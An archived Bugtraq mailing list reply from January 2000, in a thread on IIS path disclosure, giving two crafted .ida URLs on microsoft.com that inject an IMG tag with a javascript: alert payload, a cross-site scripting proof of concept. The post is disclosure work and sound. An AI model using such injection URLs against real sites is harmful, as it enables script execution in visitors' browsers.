Bugtraq mailing list archives

Re: IIS still revealing paths for web directories

From: huuskone () CC HELSINKI FI (Taneli Huuskonen)
Date: Sat, 15 Jan 2000 12:54:11 +0200


-----BEGIN PGP SIGNED MESSAGE-----

http://www.microsoft.com/%3CIMG%20SRC=javascript:alert(%34window.location:%34%43window.location)%3E.ida


I tested the following on Netscape Lite 4.51/Export, 01-Mar-99 for
Linux:

http://www.microsoft.com/%3CIMG%20SRC=%22javascript:alert('window.location='%2Bwindow.location)%22%3E.ida

Taneli Huuskonen

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQB1AwUBOIBRiAUw3ir1nvhZAQFgXwL/fpZ8guSnBTLd2P9bBuU488z8mpp2frFR
/8zL1Nd1NopTigYmf1rUWgwX+tuaMm+048KceVBC1aonrtP8cVhB6VSyjWqpJDHN
kqCio1oCXtQ83spJmq01d34/aGBjoMsF
=F7pK
-----END PGP SIGNATURE-----

--
I don't   | All messages will be PGP signed,  | Fight for your right to
speak for | encrypted mail preferred.  Keys:  | use sealed envelopes.
the Uni.  | http://www.helsinki.fi/~huuskone/ | http://www.gilc.org/

Current thread:

Re: Microsoft Security Bulletin (MS00-005), (continued)
- - - Re: Microsoft Security Bulletin (MS00-005) Matt Davis (Jan 19)
    - Re: Microsoft Security Bulletin (MS00-005) Tabor J. Wells (Jan 19)
    - Unixware ppptalk what's your style? (Jan 19)
    - Re: Unixware ppptalk Andrew Malcolm (Jan 21)
    - Re: IIS still revealing paths for web directories Henrik Nordstrom (Jan 15)
    - Re: IIS still revealing paths for web directories Antonio Ropero (Jan 15)
    - Re: IIS still revealing paths for web directories Chris Tobkin (Jan 18)
    - SRS Addendum Matt Conover (Jan 12)
    - Re: IIS still revealing paths for web directories Georgi Guninski (Jan 13)
    - Re: IIS still revealing paths for web directories Scott Buchanan (Jan 13)
    - Re: IIS still revealing paths for web directories Taneli Huuskonen (Jan 15)
    - Fwd: Crash identified in Notes, Domino, and MTA with Date Conversio ns Xander Teunissen (Jan 14)
    - Re: IIS still revealing paths for web directories Norbert Luckhardt (Jan 15)
    - usual iploggers miss some variable stealth scans vecna (Jan 17)
    - Re: usual iploggers miss some variable stealth scans Simple Nomad (Jan 17)
    - AW: usual iploggers miss some variable stealth scans Tobi (Jan 18)
    - AW: usual iploggers miss some variable stealth scans Tobi (Jan 19)
    - Warning: VCasel security hole. bob mare (Jan 18)
    - Re: usual iploggers miss some variable stealth scans Alec Kosky (Jan 18)
    - Re: usual iploggers miss some variable stealth scans Andrea Gho (Jan 20)
    - Vulnerabilities in Checkpoint FW-1 version 3.x and maybe 4.x root (Jan 21)

(Thread continues...)